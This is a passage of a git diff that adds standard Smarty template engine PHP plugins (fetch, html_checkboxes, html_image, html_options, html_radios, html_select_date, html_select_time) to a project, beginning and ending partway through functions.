+                            if(!empty($param_value)) {
+                                $user = $param_value;
+                            }
+                            break;
+                        case "pass":
+                            if(!empty($param_value)) {
+                                $pass = $param_value;
+                            }
+                            break;
+                        case "accept":
+                            if(!empty($param_value)) {
+                                $accept = $param_value;
+                            }
+                            break;
+                        case "header":
+                            if(!empty($param_value)) {
+                                if(!preg_match('![\w\d-]+: .+!',$param_value)) {
+                                    $smarty->_trigger_fatal_error("[plugin] invalid header format '".$param_value."'");
+                                    return;
+                                } else {
+                                    $extra_headers[] = $param_value;
+                                }
+                            }
+                            break;
+                        case "proxy_host":
+                            if(!empty($param_value)) {
+                                $proxy_host = $param_value;
+                            }
+                            break;
+                        case "proxy_port":
+                            if(!preg_match('!\D!', $param_value)) {
+                                $proxy_port = (int) $param_value;
+                            } else {
+                                $smarty->_trigger_fatal_error("[plugin] invalid value for attribute '".$param_key."'");
+                                return;
+                            }
+                            break;
+                        case "agent":
+                            if(!empty($param_value)) {
+                                $agent = $param_value;
+                            }
+                            break;
+                        case "referer":
+                            if(!empty($param_value)) {
+                                $referer = $param_value;
+                            }
+                            break;
+                        case "timeout":
+                            if(!preg_match('!\D!', $param_value)) {
+                                $timeout = (int) $param_value;
+                            } else {
+                                $smarty->_trigger_fatal_error("[plugin] invalid value for attribute '".$param_key."'");
+                                return;
+                            }
+                            break;
+                        default:
+                            $smarty->_trigger_fatal_error("[plugin] unrecognized attribute '".$param_key."'");
+                            return;
+                    }
+                }
+                if(!empty($proxy_host) && !empty($proxy_port)) {
+                    $_is_proxy = true;
+                    $fp = fsockopen($proxy_host,$proxy_port,$errno,$errstr,$timeout);
+                } else {
+                    $fp = fsockopen($server_name,$port,$errno,$errstr,$timeout);
+                }
+
+                if(!$fp) {
+                    $smarty->_trigger_fatal_error("[plugin] unable to fetch: $errstr ($errno)");
+                    return;
+                } else {
+                    if($_is_proxy) {
+                        fputs($fp, 'GET ' . $params['file'] . " HTTP/1.0\r\n");
+                    } else {
+                        fputs($fp, "GET $uri HTTP/1.0\r\n");
+                    }
+                    if(!empty($host)) {
+                        fputs($fp, "Host: $host\r\n");
+                    }
+                    if(!empty($accept)) {
+                        fputs($fp, "Accept: $accept\r\n");
+                    }
+                    if(!empty($agent)) {
+                        fputs($fp, "User-Agent: $agent\r\n");
+                    }
+                    if(!empty($referer)) {
+                        fputs($fp, "Referer: $referer\r\n");
+                    }
+                    if(isset($extra_headers) && is_array($extra_headers)) {
+                        foreach($extra_headers as $curr_header) {
+                            fputs($fp, $curr_header."\r\n");
+                        }
+                    }
+                    if(!empty($user) && !empty($pass)) {
+                        fputs($fp, "Authorization: BASIC ".base64_encode("$user:$pass")."\r\n");
+                    }
+
+                    $content = '';
+                    fputs($fp, "\r\n");
+                    while(!feof($fp)) {
+                        $content .= fgets($fp,4096);
+                    }
+                    fclose($fp);
+                    $csplit = split("\r\n\r\n",$content,2);
+
+                    $content = $csplit[1];
+
+                    if(!empty($params['assign_headers'])) {
+                        $smarty->assign($params['assign_headers'],split("\r\n",$csplit[0]));
+                    }
+                }
+            } else {
+                $smarty->_trigger_fatal_error("[plugin] unable to parse URL, check syntax");
+                return;
+            }
+        } else {
+            // ftp fetch
+            if($fp = @fopen($params['file'],'r')) {
+                while(!feof($fp)) {
+                    $content .= fgets ($fp,4096);
+                }
+                fclose($fp);
+            } else {
+                $smarty->_trigger_fatal_error('[plugin] fetch cannot read file \'' . $params['file'] .'\'');
+                return;
+            }
+        }
+
+    }
+
+
+    if (!empty($params['assign'])) {
+        $smarty->assign($params['assign'],$content);
+    } else {
+        return $content;
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.html_checkboxes.php b/google/smarty/plugins/function.html_checkboxes.php
new file mode 100755 (executable)
index 0000000..6fd272a
--- /dev/null
@@ -0,0 +1,135 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_checkboxes} function plugin
+ *
+ * File:       function.html_checkboxes.php<br>
+ * Type:       function<br>
+ * Name:       html_checkboxes<br>
+ * Date:       24.Feb.2003<br>
+ * Purpose:    Prints out a list of checkbox input types<br>
+ * Input:<br>
+ *           - name       (optional) - string default "checkbox"
+ *           - values     (required) - array
+ *           - options    (optional) - associative array
+ *           - checked    (optional) - array default not set
+ *           - separator  (optional) - ie <br> or &nbsp;
+ *           - output     (optional) - without this one the buttons don't have names
+ * Examples:
+ * <pre>
+ * {html_checkboxes values=$ids output=$names}
+ * {html_checkboxes values=$ids name='box' separator='<br>' output=$names}
+ * {html_checkboxes values=$ids checked=$checked separator='<br>' output=$names}
+ * </pre>
+ * @link http://smarty.php.net/manual/en/language.function.html.checkboxes.php {html_checkboxes}
+ *      (Smarty online manual)
+ * @author     Christopher Kvarme <christopher.kvarme@flashjab.com>
+ * @author credits to Monte Ohrt <monte@ispi.net>
+ * @version    1.0
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_function_escape_special_chars()
+ */
+function smarty_function_html_checkboxes($params, &$smarty)
+{
+    require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+
+    $name = 'checkbox';
+    $values = null;
+    $options = null;
+    $selected = null;
+    $separator = '';
+    $labels = true;
+    $output = null;
+
+    $extra = '';
+
+    foreach($params as $_key => $_val) {
+        switch($_key) {
+            case 'name':
+            case 'separator':
+                $$_key = $_val;
+                break;
+
+            case 'labels':
+                $$_key = (bool)$_val;
+                break;
+
+            case 'options':
+                $$_key = (array)$_val;
+                break;
+
+            case 'values':
+            case 'output':
+                $$_key = array_values((array)$_val);
+                break;
+
+            case 'checked':
+            case 'selected':
+                $selected = array_map('strval', array_values((array)$_val));
+                break;
+
+            case 'checkboxes':
+                $smarty->trigger_error('html_checkboxes: the use of the "checkboxes" attribute is deprecated, use "options" instead', E_USER_WARNING);
+                $options = (array)$_val;
+                break;
+
+            default:
+                if(!is_array($_val)) {
+                    $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"';
+                } else {
+                    $smarty->trigger_error("html_checkboxes: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+                }
+                break;
+        }
+    }
+
+    if (!isset($options) && !isset($values))
+        return ''; /* raise error here? */
+
+    settype($selected, 'array');
+    $_html_result = '';
+
+    if (is_array($options)) {
+
+        foreach ($options as $_key=>$_val)
+            $_html_result .= smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels);
+
+
+    } else {
+        foreach ($values as $_i=>$_key) {
+            $_val = isset($output[$_i]) ? $output[$_i] : '';
+            $_html_result .= smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels);
+        }
+
+    }
+
+    return $_html_result;
+
+}
+
+function smarty_function_html_checkboxes_output($name, $value, $output, $selected, $extra, $separator, $labels) {
+    $_output = '';
+    if ($labels) $_output .= '<label>';
+    $_output .= '<input type="checkbox" name="'
+        . smarty_function_escape_special_chars($name) . '[]" value="'
+        . smarty_function_escape_special_chars($value) . '"';
+
+    if (in_array((string)$value, $selected)) {
+        $_output .= ' checked="checked"';
+    }
+    $_output .= $extra . ' />' . $output;
+    if ($labels) $_output .= '</label>';
+    $_output .=  $separator . "\n";
+
+    return $_output;
+}
+
+?>
diff --git a/google/smarty/plugins/function.html_image.php b/google/smarty/plugins/function.html_image.php
new file mode 100755 (executable)
index 0000000..2654b03
--- /dev/null
@@ -0,0 +1,142 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_image} function plugin
+ *
+ * Type:     function<br>
+ * Name:     html_image<br>
+ * Date:     Feb 24, 2003<br>
+ * Purpose:  format HTML tags for the image<br>
+ * Input:<br>
+ *         - file = file (and path) of image (required)
+ *         - border = border width (optional, default 0)
+ *         - height = image height (optional, default actual height)
+ *         - image =image width (optional, default actual width)
+ *         - basedir = base directory for absolute paths, default
+ *                     is environment variable DOCUMENT_ROOT
+ *
+ * Examples: {html_image file="images/masthead.gif"}
+ * Output:   <img src="images/masthead.gif" border=0 width=400 height=23>
+ * @link http://smarty.php.net/manual/en/language.function.html.image.php {html_image}
+ *      (Smarty online manual)
+ * @author   Monte Ohrt <monte@ispi.net>
+ * @author credits to Duda <duda@big.hu> - wrote first image function
+ *           in repository, helped with lots of functionality
+ * @version  1.0
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_function_escape_special_chars()
+ */
+function smarty_function_html_image($params, &$smarty)
+{
+    require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+    
+    $alt = '';
+    $file = '';
+    $border = 0;
+    $height = '';
+    $width = '';
+    $extra = '';
+    $prefix = '';
+    $suffix = '';
+    $server_vars = ($smarty->request_use_auto_globals) ? $_SERVER : $GLOBALS['HTTP_SERVER_VARS'];
+    $basedir = isset($server_vars['DOCUMENT_ROOT']) ? $server_vars['DOCUMENT_ROOT'] : '';
+    foreach($params as $_key => $_val) {
+        switch($_key) {
+            case 'file':
+            case 'border':
+            case 'height':
+            case 'width':
+            case 'dpi':
+            case 'basedir':
+                $$_key = $_val;
+                break;
+
+            case 'alt':
+                if(!is_array($_val)) {
+                    $$_key = smarty_function_escape_special_chars($_val);
+                } else {
+                    $smarty->trigger_error("html_image: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+                }
+                break;
+
+            case 'link':
+            case 'href':
+                $prefix = '<a href="' . $_val . '">';
+                $suffix = '</a>';
+                break;
+
+            default:
+                if(!is_array($_val)) {
+                    $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"';
+                } else {
+                    $smarty->trigger_error("html_image: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+                }
+                break;
+        }
+    }
+
+    if (empty($file)) {
+        $smarty->trigger_error("html_image: missing 'file' parameter", E_USER_NOTICE);
+        return;
+    }
+
+    if (substr($file,0,1) == '/') {
+        $_image_path = $basedir . $file;
+    } else {
+        $_image_path = $file;
+    }
+
+    if(!isset($params['width']) || !isset($params['height'])) {
+        if ($smarty->security &&
+            ($_params = array('resource_type' => 'file', 'resource_name' => $_image_path)) &&
+            (require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.is_secure.php')) &&
+            (!smarty_core_is_secure($_params, $smarty)) ) {
+            $smarty->trigger_error("html_image: (secure) '$_image_path' not in secure directory", E_USER_NOTICE);
+
+        } elseif (!$_image_data = @getimagesize($_image_path)) {
+            if(!file_exists($_image_path)) {
+                $smarty->trigger_error("html_image: unable to find '$_image_path'", E_USER_NOTICE);
+                return;
+            } else if(!is_readable($_image_path)) {
+                $smarty->trigger_error("html_image: unable to read '$_image_path'", E_USER_NOTICE);
+                return;
+            } else {
+                $smarty->trigger_error("html_image: '$_image_path' is not a valid image file", E_USER_NOTICE);
+                return;
+            }
+        }
+
+        if(!isset($params['width'])) {
+            $width = $_image_data[0];
+        }
+        if(!isset($params['height'])) {
+            $height = $_image_data[1];
+        }
+
+    }
+
+    if(isset($params['dpi'])) {
+        if(strstr($server_vars['HTTP_USER_AGENT'], 'Mac')) {
+            $dpi_default = 72;
+        } else {
+            $dpi_default = 96;
+        }
+        $_resize = $dpi_default/$params['dpi'];
+        $width = round($width * $_resize);
+        $height = round($height * $_resize);
+    }
+
+    return $prefix . '<img src="'.$file.'" alt="'.$alt.'" border="'.$border.'" width="'.$width.'" height="'.$height.'"'.$extra.' />' . $suffix;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.html_options.php b/google/smarty/plugins/function.html_options.php
new file mode 100755 (executable)
index 0000000..da5571c
--- /dev/null
@@ -0,0 +1,121 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_options} function plugin
+ *
+ * Type:     function<br>
+ * Name:     html_options<br>
+ * Input:<br>
+ *           - name       (optional) - string default "select"
+ *           - values     (required if no options supplied) - array
+ *           - options    (required if no values supplied) - associative array
+ *           - selected   (optional) - string default not set
+ *           - output     (required if not options supplied) - array
+ * Purpose:  Prints the list of <option> tags generated from
+ *           the passed parameters
+ * @link http://smarty.php.net/manual/en/language.function.html.options.php {html_image}
+ *      (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_function_escape_special_chars()
+ */
+function smarty_function_html_options($params, &$smarty)
+{
+    require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+    
+    $name = null;
+    $values = null;
+    $options = null;
+    $selected = array();
+    $output = null;
+    
+    $extra = '';
+    
+    foreach($params as $_key => $_val) {
+        switch($_key) {
+            case 'name':
+                $$_key = (string)$_val;
+                break;
+            
+            case 'options':
+                $$_key = (array)$_val;
+                break;
+                
+            case 'values':
+            case 'output':
+                $$_key = array_values((array)$_val);
+                break;
+
+            case 'selected':
+                $$_key = array_map('strval', array_values((array)$_val));
+                break;
+                
+            default:
+                if(!is_array($_val)) {
+                    $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"';
+                } else {
+                    $smarty->trigger_error("html_options: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+                }
+                break;
+        }
+    }
+
+    if (!isset($options) && !isset($values))
+        return ''; /* raise error here? */
+
+    $_html_result = '';
+
+    if (is_array($options)) {
+        
+        foreach ($options as $_key=>$_val)
+            $_html_result .= smarty_function_html_options_optoutput($_key, $_val, $selected);
+
+    } else {
+        
+        foreach ((array)$values as $_i=>$_key) {
+            $_val = isset($output[$_i]) ? $output[$_i] : '';
+            $_html_result .= smarty_function_html_options_optoutput($_key, $_val, $selected);
+        }
+
+    }
+
+    if(!empty($name)) {
+        $_html_result = '<select name="' . $name . '"' . $extra . '>' . "\n" . $_html_result . '</select>' . "\n";
+    }
+
+    return $_html_result;
+
+}
+
+function smarty_function_html_options_optoutput($key, $value, $selected) {
+    if(!is_array($value)) {
+        $_html_result = '<option label="' . smarty_function_escape_special_chars($value) . '" value="' .
+            smarty_function_escape_special_chars($key) . '"';
+        if (in_array((string)$key, $selected))
+            $_html_result .= ' selected="selected"';
+        $_html_result .= '>' . smarty_function_escape_special_chars($value) . '</option>' . "\n";
+    } else {
+        $_html_result = smarty_function_html_options_optgroup($key, $value, $selected);
+    }
+    return $_html_result;
+}
+
+function smarty_function_html_options_optgroup($key, $values, $selected) {
+    $optgroup_html = '<optgroup label="' . smarty_function_escape_special_chars($key) . '">' . "\n";
+    foreach ($values as $key => $value) {
+        $optgroup_html .= smarty_function_html_options_optoutput($key, $value, $selected);
+    }
+    $optgroup_html .= "</optgroup>\n";
+    return $optgroup_html;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.html_radios.php b/google/smarty/plugins/function.html_radios.php
new file mode 100755 (executable)
index 0000000..f74688f
--- /dev/null
@@ -0,0 +1,138 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_radios} function plugin
+ *
+ * File:       function.html_radios.php<br>
+ * Type:       function<br>
+ * Name:       html_radios<br>
+ * Date:       24.Feb.2003<br>
+ * Purpose:    Prints out a list of radio input types<br>
+ * Input:<br>
+ *           - name       (optional) - string default "radio"
+ *           - values     (required) - array
+ *           - options    (optional) - associative array
+ *           - checked    (optional) - array default not set
+ *           - separator  (optional) - ie <br> or &nbsp;
+ *           - output     (optional) - without this one the buttons don't have names
+ * Examples:
+ * <pre>
+ * {html_radios values=$ids output=$names}
+ * {html_radios values=$ids name='box' separator='<br>' output=$names}
+ * {html_radios values=$ids checked=$checked separator='<br>' output=$names}
+ * </pre>
+ * @link http://smarty.php.net/manual/en/language.function.html.radios.php {html_radios}
+ *      (Smarty online manual)
+ * @author     Christopher Kvarme <christopher.kvarme@flashjab.com>
+ * @author credits to Monte Ohrt <monte@ispi.net>
+ * @version    1.0
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_function_escape_special_chars()
+ */
+function smarty_function_html_radios($params, &$smarty)
+{
+    require_once $smarty->_get_plugin_filepath('shared','escape_special_chars');
+   
+    $name = 'radio';
+    $values = null;
+    $options = null;
+    $selected = null;
+    $separator = '';
+    $labels = true;
+    $output = null;
+    $extra = '';
+
+    foreach($params as $_key => $_val) {
+        switch($_key) {
+            case 'name':
+            case 'separator':
+                $$_key = (string)$_val;
+                break;
+
+            case 'checked':
+            case 'selected':
+                if(is_array($_val)) {
+                    $smarty->trigger_error('html_radios: the "' . $_key . '" attribute cannot be an array', E_USER_WARNING);
+                } else {
+                    $selected = (string)$_val;
+                }
+                break;
+
+            case 'labels':
+                $$_key = (bool)$_val;
+                break;
+
+            case 'options':
+                $$_key = (array)$_val;
+                break;
+
+            case 'values':
+            case 'output':
+                $$_key = array_values((array)$_val);
+                break;
+
+            case 'radios':
+                $smarty->trigger_error('html_radios: the use of the "radios" attribute is deprecated, use "options" instead', E_USER_WARNING);
+                $options = (array)$_val;
+                break;
+
+
+            default:
+                if(!is_array($_val)) {
+                    $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"';
+                } else {
+                    $smarty->trigger_error("html_radios: extra attribute '$_key' cannot be an array", E_USER_NOTICE);
+                }
+                break;
+        }
+    }
+
+    if (!isset($options) && !isset($values))
+        return ''; /* raise error here? */
+
+    $_html_result = '';
+
+    if (isset($options) && is_array($options)) {
+
+        foreach ((array)$options as $_key=>$_val)
+            $_html_result .= smarty_function_html_radios_output($name, $_key, $_val, $selected, $extra, $separator, $labels);
+
+    } else {
+
+        foreach ((array)$values as $_i=>$_key) {
+            $_val = isset($output[$_i]) ? $output[$_i] : '';
+            $_html_result .= smarty_function_html_radios_output($name, $_key, $_val, $selected, $extra, $separator, $labels);
+        }
+
+    }
+
+    return $_html_result;
+
+}
+
+function smarty_function_html_radios_output($name, $value, $output, $selected, $extra, $separator, $labels) {
+    $_output = '';
+    if ($labels) $_output .= '<label>';
+    $_output .= '<input type="radio" name="'
+        . smarty_function_escape_special_chars($name) . '" value="'
+        . smarty_function_escape_special_chars($value) . '"';
+
+    if ($value==$selected) {
+        $_output .= ' checked="checked"';
+    }
+    $_output .= $extra . ' />' . $output;
+    if ($labels) $_output .= '</label>';
+    $_output .=  $separator . "\n";
+
+    return $_output;
+}
+
+?>
diff --git a/google/smarty/plugins/function.html_select_date.php b/google/smarty/plugins/function.html_select_date.php
new file mode 100755 (executable)
index 0000000..ac4f2a1
--- /dev/null
@@ -0,0 +1,300 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {html_select_date} plugin
+ *
+ * Type:     function<br>
+ * Name:     html_select_date<br>
+ * Purpose:  Prints the dropdowns for date selection.
+ *
+ * ChangeLog:<br>
+ *           - 1.0 initial release
+ *           - 1.1 added support for +/- N syntax for begin
+ *                and end year values. (Monte)
+ *           - 1.2 added support for yyyy-mm-dd syntax for
+ *                time value. (Jan Rosier)
+ *           - 1.3 added support for choosing format for
+ *                month values (Gary Loescher)
+ *           - 1.3.1 added support for choosing format for
+ *                day values (Marcus Bointon)
+ * @link http://smarty.php.net/manual/en/language.function.html.select.date.php {html_select_date}
+ *      (Smarty online manual)
+ * @version 1.3.1
+ * @author   Andrei Zmievski
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_html_select_date($params, &$smarty)
+{
+    require_once $smarty->_get_plugin_filepath('shared','make_timestamp');
+    require_once $smarty->_get_plugin_filepath('function','html_options');
+    /* Default values. */
+    $prefix          = "Date_";
+    $start_year      = strftime("%Y");
+    $end_year        = $start_year;
+    $display_days    = true;
+    $display_months  = true;
+    $display_years   = true;
+    $month_format    = "%B";
+    /* Write months as numbers by default  GL */
+    $month_value_format = "%m";
+    $day_format      = "%02d";
+    /* Write day values using this format MB */
+    $day_value_format = "%d";
+    $year_as_text    = false;
+    /* Display years in reverse order? Ie. 2000,1999,.... */
+    $reverse_years   = false;
+    /* Should the select boxes be part of an array when returned from PHP?
+       e.g. setting it to "birthday", would create "birthday[Day]",
+       "birthday[Month]" & "birthday[Year]". Can be combined with prefix */
+    $field_array     = null;
+    /* <select size>'s of the different <select> tags.
+       If not set, uses default dropdown. */
+    $day_size        = null;
+    $month_size      = null;
+    $year_size       = null;
+    /* Unparsed attributes common to *ALL* the <select>/<input> tags.
+       An example might be in the template: all_extra ='class ="foo"'. */
+    $all_extra       = null;
+    /* Separate attributes for the tags. */
+    $day_extra       = null;
+    $month_extra     = null;
+    $year_extra      = null;
+    /* Order in which to display the fields.
+       "D" -> day, "M" -> month, "Y" -> year. */
+    $field_order     = 'MDY';
+    /* String printed between the different fields. */
+    $field_separator = "\n";
+    $time = time();
+    $all_empty       = null;
+    $day_empty       = null;
+    $month_empty     = null;
+    $year_empty      = null;
+
+    foreach ($params as $_key=>$_value) {
+        switch ($_key) {
+            case 'prefix':
+            case 'time':
+            case 'start_year':
+            case 'end_year':
+            case 'month_format':
+            case 'day_format':
+            case 'day_value_format':
+            case 'field_array':
+            case 'day_size':
+            case 'month_size':
+            case 'year_size':
+            case 'all_extra':
+            case 'day_extra':
+            case 'month_extra':
+            case 'year_extra':
+            case 'field_order':
+            case 'field_separator':
+            case 'month_value_format':
+            case 'month_empty':
+            case 'day_empty':
+            case 'year_empty':
+                $$_key = (string)$_value;
+                break;
+
+            case 'all_empty':
+                $$_key = (string)$_value;
+                $day_empty = $month_empty = $year_empty = $all_empty;
+                break;
+
+            case 'display_days':
+            case 'display_months':
+            case 'display_years':
+            case 'year_as_text':
+            case 'reverse_years':
+                $$_key = (bool)$_value;
+                break;
+
+            default:
+                $smarty->trigger_error("[html_select_date] unknown parameter $_key", E_USER_WARNING);
+
+        }
+    }
+
+    // If $time is not in format yyyy-mm-dd
+    if (!preg_match('/^\d{0,4}-\d{0,2}-\d{0,2}$/', $time)) {
+        // then $time is empty or unix timestamp or mysql timestamp
+        // using smarty_make_timestamp to get an unix timestamp and
+        // strftime to make yyyy-mm-dd
+        $time = strftime('%Y-%m-%d', smarty_make_timestamp($time));
+    }
+    // Now split this in pieces, which later can be used to set the select
+    $time = explode("-", $time);
+
+    // make syntax "+N" or "-N" work with start_year and end_year
+    if (preg_match('!^(\+|\-)\s*(\d+)$!', $end_year, $match)) {
+        if ($match[1] == '+') {
+            $end_year = strftime('%Y') + $match[2];
+        } else {
+            $end_year = strftime('%Y') - $match[2];
+        }
+    }
+    if (preg_match('!^(\+|\-)\s*(\d+)$!', $start_year, $match)) {
+        if ($match[1] == '+') {
+            $start_year = strftime('%Y') + $match[2];
+        } else {
+            $start_year = strftime('%Y') - $match[2];
+        }
+    }
+
+    $field_order = strtoupper($field_order);
+
+    $html_result = $month_result = $day_result = $year_result = "";
+
+    if ($display_months) {
+        $month_names = array();
+        $month_values = array();
+        if(isset($month_empty)) {
+            $month_names[''] = $month_empty;
+            $month_values[''] = '';
+        }
+        for ($i = 1; $i <= 12; $i++) {
+            $month_names[$i] = strftime($month_format, mktime(0, 0, 0, $i, 1, 2000));
+            $month_values[$i] = strftime($month_value_format, mktime(0, 0, 0, $i, 1, 2000));
+        }
+
+        $month_result .= '<select name=';
+        if (null !== $field_array){
+            $month_result .= '"' . $field_array . '[' . $prefix . 'Month]"';
+        } else {
+            $month_result .= '"' . $prefix . 'Month"';
+        }
+        if (null !== $month_size){
+            $month_result .= ' size="' . $month_size . '"';
+        }
+        if (null !== $month_extra){
+            $month_result .= ' ' . $month_extra;
+        }
+        if (null !== $all_extra){
+            $month_result .= ' ' . $all_extra;
+        }
+        $month_result .= '>'."\n";
+
+        $month_result .= smarty_function_html_options(array('output'     => $month_names,
+                                                            'values'     => $month_values,
+                                                            'selected'   => $month_values[(int)$time[1]],
+                                                            'print_result' => false),
+                                                      $smarty);
+
+        $month_result .= '</select>';
+    }
+
+    if ($display_days) {
+        $days = array();
+        if (isset($day_empty)) {
+            $days[''] = $day_empty;
+            $day_values[''] = '';
+        }
+        for ($i = 1; $i <= 31; $i++) {
+            $days[] = sprintf($day_format, $i);
+            $day_values[] = sprintf($day_value_format, $i);
+        }
+
+        $day_result .= '<select name=';
+        if (null !== $field_array){
+            $day_result .= '"' . $field_array . '[' . $prefix . 'Day]"';
+        } else {
+            $day_result .= '"' . $prefix . 'Day"';
+        }
+        if (null !== $day_size){
+            $day_result .= ' size="' . $day_size . '"';
+        }
+        if (null !== $all_extra){
+            $day_result .= ' ' . $all_extra;
+        }
+        if (null !== $day_extra){
+            $day_result .= ' ' . $day_extra;
+        }
+        $day_result .= '>'."\n";
+        $day_result .= smarty_function_html_options(array('output'     => $days,
+                                                          'values'     => $day_values,
+                                                          'selected'   => $time[2],
+                                                          'print_result' => false),
+                                                    $smarty);
+        $day_result .= '</select>';
+    }
+
+    if ($display_years) {
+        if (null !== $field_array){
+            $year_name = $field_array . '[' . $prefix . 'Year]';
+        } else {
+            $year_name = $prefix . 'Year';
+        }
+        if ($year_as_text) {
+            $year_result .= '<input type="text" name="' . $year_name . '" value="' . $time[0] . '" size="4" maxlength="4"';
+            if (null !== $all_extra){
+                $year_result .= ' ' . $all_extra;
+            }
+            if (null !== $year_extra){
+                $year_result .= ' ' . $year_extra;
+            }
+            $year_result .= '>';
+        } else {
+            $years = range((int)$start_year, (int)$end_year);
+            if ($reverse_years) {
+                rsort($years, SORT_NUMERIC);
+            }
+            $yearvals = $years;
+            if(isset($year_empty)) {
+                array_unshift($years, $year_empty);
+                array_unshift($yearvals, '');
+            }
+            $year_result .= '<select name="' . $year_name . '"';
+            if (null !== $year_size){
+                $year_result .= ' size="' . $year_size . '"';
+            }
+            if (null !== $all_extra){
+                $year_result .= ' ' . $all_extra;
+            }
+            if (null !== $year_extra){
+                $year_result .= ' ' . $year_extra;
+            }
+            $year_result .= '>'."\n";
+            $year_result .= smarty_function_html_options(array('output' => $years,
+                                                               'values' => $yearvals,
+                                                               'selected'   => $time[0],
+                                                               'print_result' => false),
+                                                         $smarty);
+            $year_result .= '</select>';
+        }
+    }
+
+    // Loop thru the field_order field
+    for ($i = 0; $i <= 2; $i++){
+        $c = substr($field_order, $i, 1);
+        switch ($c){
+            case 'D':
+                $html_result .= $day_result;
+                break;
+
+            case 'M':
+                $html_result .= $month_result;
+                break;
+
+            case 'Y':
+                $html_result .= $year_result;
+                break;
+        }
+        // Add the field seperator
+        if($i != 2) {
+            $html_result .= $field_separator;
+        }
+    }
+
+    return $html_result;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.html_select_time.php b/google/smarty/plugins/function.html_select_time.php
new file mode 100755 (executable)
index 0000000..00cd1ae
--- /dev/null
@@ -0,0 +1,192 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_select_time} function plugin
+ *
+ * Type:     function<br>
+ * Name:     html_select_time<br>
+ * Purpose:  Prints the dropdowns for time selection
+ * @link http://smarty.php.net/manual/en/language.function.html.select.time.php {html_select_time}
+ *          (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ * @uses smarty_make_timestamp()
+ */
+function smarty_function_html_select_time($params, &$smarty)
+{
+    require_once $smarty->_get_plugin_filepath('shared','make_timestamp');
+    require_once $smarty->_get_plugin_filepath('function','html_options');
+    /* Default values. */
+    $prefix             = "Time_";
+    $time               = time();
+    $display_hours      = true;
+    $display_minutes    = true;
+    $display_seconds    = true;
+    $display_meridian   = true;
+    $use_24_hours       = true;
+    $minute_interval    = 1;
+    $second_interval    = 1;
+    /* Should the select boxes be part of an array when returned from PHP?
+       e.g. setting it to "birthday", would create "birthday[Hour]",
+       "birthday[Minute]", "birthday[Seconds]" & "birthday[Meridian]".
+       Can be combined with prefix. */
+    $field_array        = null;
+    $all_extra          = null;
+    $hour_extra         = null;
+    $minute_extra       = null;
+    $second_extra       = null;
+    $meridian_extra     = null;
+
+    foreach ($params as $_key=>$_value) {
+        switch ($_key) {
+            case 'prefix':
+            case 'time':
+            case 'field_array':
+            case 'all_extra':
+            case 'hour_extra':
+            case 'minute_extra':
+            case 'second_extra':
+            case 'meridian_extra':
+                $$_key = (string)$_value;
+                break;
+
+            case 'display_hours':
+            case 'display_minutes':
+            case 'display_seconds':
+            case 'display_meridian':
+            case 'use_24_hours':
+                $$_key = (bool)$_value;
+                break;
+
+            case 'minute_interval':
+            case 'second_interval':
+                $$_key = (int)$_value;
+                break;
+
+            default:
+                $smarty->trigger_error("[html_select_time] unknown parameter $_key", E_USER_WARNING);
+        }
+    }
+
+    $time = smarty_make_timestamp($time);
+
+    $html_result = '';
+
+    if ($display_hours) {
+        $hours       = $use_24_hours ? range(0, 23) : range(1, 12);
+        $hour_fmt = $use_24_hours ? '%H' : '%I';
+        for ($i = 0, $for_max = count($hours); $i < $for_max; $i++)
+            $hours[$i] = sprintf('%02d', $hours[$i]);
+        $html_result .= '<select name=';
+        if (null !== $field_array) {
+            $html_result .= '"' . $field_array . '[' . $prefix . 'Hour]"';
+        } else {
+            $html_result .= '"' . $prefix . 'Hour"';
+        }
+        if (null !== $hour_extra){
+            $html_result .= ' ' . $hour_extra;
+        }
+        if (null !== $all_extra){
+            $html_result .= ' ' . $all_extra;
+        }
+        $html_result .= '>'."\n";
+        $html_result .= smarty_function_html_options(array('output'          => $hours,
+                                                           'values'          => $hours,
+                                                           'selected'      => strftime($hour_fmt, $time),
+                                                           'print_result' => false),
+                                                     $smarty);
+        $html_result .= "</select>\n";
+    }
+
+    if ($display_minutes) {
+        $all_minutes = range(0, 59);
+        for ($i = 0, $for_max = count($all_minutes); $i < $for_max; $i+= $minute_interval)
+            $minutes[] = sprintf('%02d', $all_minutes[$i]);
+        $selected = intval(floor(strftime('%M', $time) / $minute_interval) * $minute_interval);
+        $html_result .= '<select name=';
